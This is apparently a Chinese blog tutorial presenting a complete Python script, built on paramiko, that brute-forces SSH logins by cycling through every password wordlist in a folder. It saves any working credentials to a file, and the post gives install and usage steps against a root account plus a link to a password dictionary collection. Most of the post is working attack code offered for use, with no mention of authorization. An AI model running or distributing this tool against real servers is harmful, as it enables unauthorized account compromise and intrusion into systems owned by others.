通过python代码自定义ssh密码爆破

一,这段代码的意义:

大部分爆破工具进行爆破时选择字典时只能选择文件,不能选择文件夹,我们收集来的字典可能很多,不可能一个一个字典来试一下,
所以写这段代码的意义就是解决这个问题,把所有txt文件放在一个文件夹里,只需要给出这个文件夹路径,它就能进行工作

二,直接上写好的代码:

test.py


import os
import paramiko
import argparse
import socket
import time
import sys
def is_ssh_open(hostname, username, password):
    # 创建ssh对象
    client = paramiko.SSHClient()
    # 如果之前没有连接过,会出现Are you sure you want to continue connection(yes/no)
    # 自动选择yes
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        # 建立一次ssh连接
        client.connect(hostname=hostname, username=username, password=password, timeout=3)  # timeout连接超时
    #  如果出现错误要怎么处理
    except socket.timeout:
        # IP地址不正确或目标主机没开启ssh服务
        print(f"无法连接主机{hostname},连接超时!")
        return False
    except paramiko.AuthenticationException:
        print(f'错误的账号密码{username}:{password}')
        return False
    except paramiko.SSHException:
        print('稍后重试')
        time.sleep(5)
        return is_ssh_open(hostname, username, password)
    else:
        print(f'主机{hostname}\tssh账号密码是{username}:{password}')
        return True

description = "例如 python ssh弱口令爆破.py 192.168.1.7 -u root -p 存放txt文件的文件夹路径/"
if __name__ == '__main__':
    # Python终端控制台执行命令时,选项的设置
    parser = argparse.ArgumentParser(description=description, usage='python %(prog)s host -u username -p pass_lis.txt')
    parser.add_argument('host', help='主机名字或者主机IP地址')
    parser.add_argument('-u', dest='user', help='用户名')
    parser.add_argument('-p', dest='pass_dir_path', help='密码字典文件夹路径/')
    # 192.168.1.12
    # 192.168.1.12 -u root -p /Users/liuhaoran/PycharmProjects/pythonProject/new_building

    # 如果不输入选项和参数,直接打印帮助信息并退出程序
    if len(sys.argv) < 2:
        parser.print_help()
        sys.exit(1)

    # 开始解析参数,获取解析结果对象
    args = parser.parse_args()

    # 获得结果对象的参数值
    host = args.host
    user = args.user
    path = args.pass_dir_path
    if os.path.exists(path):
        files = os.listdir(path)
        #  遍历目录下的txt文件
        for file in files:
            position=path+file
            print(position)

            # 读取密码字典,并以回车分割返回一个列表
            pass_list = open(position).read().splitlines()

            # 循环密码列表,重复建立不同的ssh连接,直到字典跑完或者找到正确密码为止
            for password in pass_list:
                if is_ssh_open(host, user, password):
                    open('ssh.txt', 'w').write(f'{user}@{host}:{password}')
                    break



三,使用pip3 install paramiko 命令安装库

四,使用 python3 test.py 主机地址 -u 用户名 -p 字典路径/

	例如:python3 test.py 192.168.1.12 -u root -p /Users/liuhaoran/PycharmProjects/pythonProject/abc/
	(不要忘记路径后面的 / )
	
	我们在abc 文件夹下随便创建一些文件,把我们的192.168.1.12主机的密码胡乱写进其中一个文件,使用上面的命令进行爆破

请添加图片描述
观察最终运行的结果:
请添加图片描述

五,字典的选取

字典链接https://github.com/k8gege/PasswordDic
把下载好的字典中的所有txt文件都整合到一个文件夹中,多余的其他格式的文件移除掉。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值